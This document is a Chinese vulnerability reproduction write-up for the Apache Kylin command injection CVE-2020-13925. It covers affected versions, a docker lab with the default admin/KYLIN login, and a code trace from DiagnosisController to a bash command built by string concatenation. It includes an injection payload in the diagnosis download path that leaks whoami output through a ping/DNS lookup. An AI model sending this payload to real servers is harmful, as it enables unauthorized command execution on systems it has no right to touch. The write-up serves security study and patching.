2022-05-25 16:51:48 +08:00
|
|
|
|
# Apache Kylin DiagnosisController.java 命令注入漏洞 CVE-2020-13925
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
|
|
6月,京东安全的蓝军团队发现了一个 apache kylin 远程命令执行严重漏洞( CVE-2020-13925)。黑客可以利用这个漏洞,登录任何管理员账号和密码默认未修改的账号,获得管理员权限。由于Apache Kylin被广泛应用于企业的大数据分析平台,因此该漏洞将对企业核心数据具有较大的危害,存在数据泄露风险,建议用户尽快升级软件至安全版本。
|
|
|
|
|
|
|
|
|
|
|
|
## 影响版本
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Apache Kylin 2.3.0 ~ 2.3.2
|
|
|
|
|
|
Apache Kylin 2.4.0 ~ 2.4.1
|
|
|
|
|
|
Apache Kylin 2.5.0 ~ 2.5.2
|
|
|
|
|
|
Apache Kylin 2.6.0 ~ 2.6.5
|
|
|
|
|
|
Apache Kylin 3.0.0-alpha
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 环境搭建
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
docker pull apachekylin/apache-kylin-standalone:3.0.1
|
|
|
|
|
|
|
|
|
|
|
|
docker run -d \
|
|
|
|
|
|
-m 8G \
|
|
|
|
|
|
-p 7070:7070 \
|
|
|
|
|
|
-p 8088:8088 \
|
|
|
|
|
|
-p 50070:50070 \
|
|
|
|
|
|
-p 8032:8032 \
|
|
|
|
|
|
-p 8042:8042 \
|
|
|
|
|
|
-p 16010:16010 \
|
|
|
|
|
|
apachekylin/apache-kylin-standalone:3.0.1
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
打开后使用默认账号密码admin/KYLIN登录,出现初始界面即为成功
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-25 16:51:48 +08:00
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
出现漏洞的代码文件在`server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java`
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-25 16:51:48 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
/**
|
|
|
|
|
|
* Get diagnosis information for project
|
|
|
|
|
|
*/
|
|
|
|
|
|
@RequestMapping(value = "/project/{project}/download", method = { RequestMethod.GET }, produces = {
|
|
|
|
|
|
"application/json" })
|
|
|
|
|
|
@ResponseBody
|
|
|
|
|
|
public void dumpProjectDiagnosisInfo(@PathVariable String project, final HttpServletRequest request,
|
|
|
|
|
|
final HttpServletResponse response) {
|
|
|
|
|
|
try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory("diag_project", "")) {
|
|
|
|
|
|
String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile());
|
|
|
|
|
|
setDownloadResponse(filePath, response);
|
|
|
|
|
|
} catch (IOException e) {
|
|
|
|
|
|
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
这里可以看到` {project}`参数是用户可控的变量,向下跟进`dumpProjectDiagnosisInfo`函数
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException {
|
|
|
|
|
|
aclEvaluate.checkProjectOperationPermission(project);
|
|
|
|
|
|
String[] args = { project, exportPath.getAbsolutePath() };
|
|
|
|
|
|
runDiagnosisCLI(args);
|
|
|
|
|
|
return getDiagnosisPackageName(exportPath);
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-25 16:51:48 +08:00
|
|
|
|
|
|
|
|
|
|
首先通过`checkProjectOperationPermission`函数来检查该`project`是否许可,然后构建一个`args`的字符串数组,看一下`checkProjectOperationPermission`函数
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
public void checkProjectOperationPermission(String projectName) {
|
|
|
|
|
|
ProjectInstance projectInstance = getProjectInstance(projectName);
|
|
|
|
|
|
aclUtil.hasProjectOperationPermission(projectInstance);
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
这里传入`projectName`,然后通过`getProjectInstance`来获取项目实例,跟进`getProjectInstance`
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
private ProjectInstance getProjectInstance(String projectName) {
|
|
|
|
|
|
return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName);
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
因为 `projectName` 会被我们替换掉,所以不会获得一个正确的`projectName`,则会返回一个Null,查看下`hasProjectOperationPermission`函数
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
@PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN +
|
|
|
|
|
|
" or hasPermission(#project, 'ADMINISTRATION')" +
|
|
|
|
|
|
" or hasPermission(#project, 'MANAGEMENT')" +
|
|
|
|
|
|
" or hasPermission(#project, 'OPERATION')")
|
|
|
|
|
|
public boolean hasProjectOperationPermission(ProjectInstance project) {
|
|
|
|
|
|
return true;
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
这里并没有对`projectName`进行检验,只对用户身份进行了检验,当为`ADMIN、ADMINISTRATION、MANAGEMENT、OPERATION`等权限,该值默认返回为`true`,回到` dumpProjectDiagnosisInfo`函数,向下继续跟进`runDiagnosisCLI`函数
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-25 16:51:48 +08:00
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
private void runDiagnosisCLI(String[] args) throws IOException {
|
|
|
|
|
|
Message msg = MsgPicker.getMsg();
|
|
|
|
|
|
|
|
|
|
|
|
File cwd = new File("");
|
|
|
|
|
|
logger.debug("Current path: " + cwd.getAbsolutePath());
|
|
|
|
|
|
|
|
|
|
|
|
logger.debug("DiagnosisInfoCLI args: " + Arrays.toString(args));
|
|
|
|
|
|
File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh");
|
|
|
|
|
|
if (!script.exists()) {
|
|
|
|
|
|
throw new BadRequestException(
|
|
|
|
|
|
String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath()));
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
|
|
|
|
|
|
CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
|
|
|
|
|
|
Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
|
|
|
|
|
|
|
|
|
|
|
|
if (cmdOutput.getFirst() != 0) {
|
|
|
|
|
|
throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL());
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
注意看这几行代码
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
|
|
|
|
|
|
CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
|
|
|
|
|
|
Pair<Integer, String> cmdOutput = executor.execute(diagCmd);
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
与 Apache Kylin 命令注入漏洞`CVE-2020-1956`类似,同样也是经过`execute函数`,而`digCmd`同样也是经过了命令拼接
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException {
|
|
|
|
|
|
SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);
|
|
|
|
|
|
|
|
|
|
|
|
SSHClientOutput sshOutput;
|
|
|
|
|
|
try {
|
|
|
|
|
|
sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
|
|
|
|
|
|
int exitCode = sshOutput.getExitCode();
|
|
|
|
|
|
String output = sshOutput.getText();
|
|
|
|
|
|
return Pair.newPair(exitCode, output);
|
|
|
|
|
|
} catch (IOException e) {
|
|
|
|
|
|
throw e;
|
|
|
|
|
|
} catch (Exception e) {
|
|
|
|
|
|
throw new IOException(e.getMessage(), e);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
|
|
|
|
|
|
String[] cmd = new String[3];
|
|
|
|
|
|
String osName = System.getProperty("os.name");
|
|
|
|
|
|
if (osName.startsWith("Windows")) {
|
|
|
|
|
|
cmd[0] = "cmd.exe";
|
|
|
|
|
|
cmd[1] = "/C";
|
|
|
|
|
|
} else {
|
|
|
|
|
|
cmd[0] = "/bin/bash";
|
|
|
|
|
|
cmd[1] = "-c";
|
|
|
|
|
|
}
|
|
|
|
|
|
cmd[2] = command;
|
|
|
|
|
|
|
|
|
|
|
|
ProcessBuilder builder = new ProcessBuilder(cmd);
|
|
|
|
|
|
builder.redirectErrorStream(true);
|
|
|
|
|
|
Process proc = builder.start();
|
|
|
|
|
|
|
|
|
|
|
|
BufferedReader reader = new BufferedReader(
|
|
|
|
|
|
new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
|
|
|
|
|
|
String line;
|
|
|
|
|
|
StringBuilder result = new StringBuilder();
|
|
|
|
|
|
while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
|
|
|
|
|
|
result.append(line).append('\n');
|
|
|
|
|
|
if (logAppender != null) {
|
|
|
|
|
|
logAppender.log(line);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
if (Thread.interrupted()) {
|
|
|
|
|
|
logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
|
|
|
|
|
|
proc.destroy();
|
|
|
|
|
|
try {
|
|
|
|
|
|
Thread.sleep(1000);
|
|
|
|
|
|
} catch (InterruptedException e) {
|
|
|
|
|
|
// do nothing
|
|
|
|
|
|
}
|
|
|
|
|
|
return Pair.newPair(1, "Killed");
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
try {
|
|
|
|
|
|
int exitCode = proc.waitFor();
|
|
|
|
|
|
return Pair.newPair(exitCode, result.toString());
|
|
|
|
|
|
} catch (InterruptedException e) {
|
|
|
|
|
|
Thread.currentThread().interrupt();
|
|
|
|
|
|
throw new IOException(e);
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
这样我们就可以通过控制` {project}` 请求就可以造成命令注入
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
/kylin/api/diag/project/{project}/download
|
|
|
|
|
|
/kylin/api/diag/project/||ping `whoami.111.111.111`||/download
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
拼接后则出现
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/diag.sh {project} {diagDir}
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
这里通过报错语句可以回显命令验证漏洞存在
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-25 16:51:48 +08:00
|
|
|
|
|
|
|
|
|
|
在修复中,过滤了`||`,`&&`等符号,造成无法命令注入
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|
2022-05-25 16:51:48 +08:00
|
|
|
|
|
|
|
|
|
|
漏洞通报中共两个利用点
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
/kylin/api/diag/project/{project}/download
|
|
|
|
|
|
/kylin/api/diag/job/{jobId}/download
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
查看函数发现利用方式相同,直接利用`job`会失败,因为 `{project}`默认有一个`learn_kylin`,而`job`没有
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|

|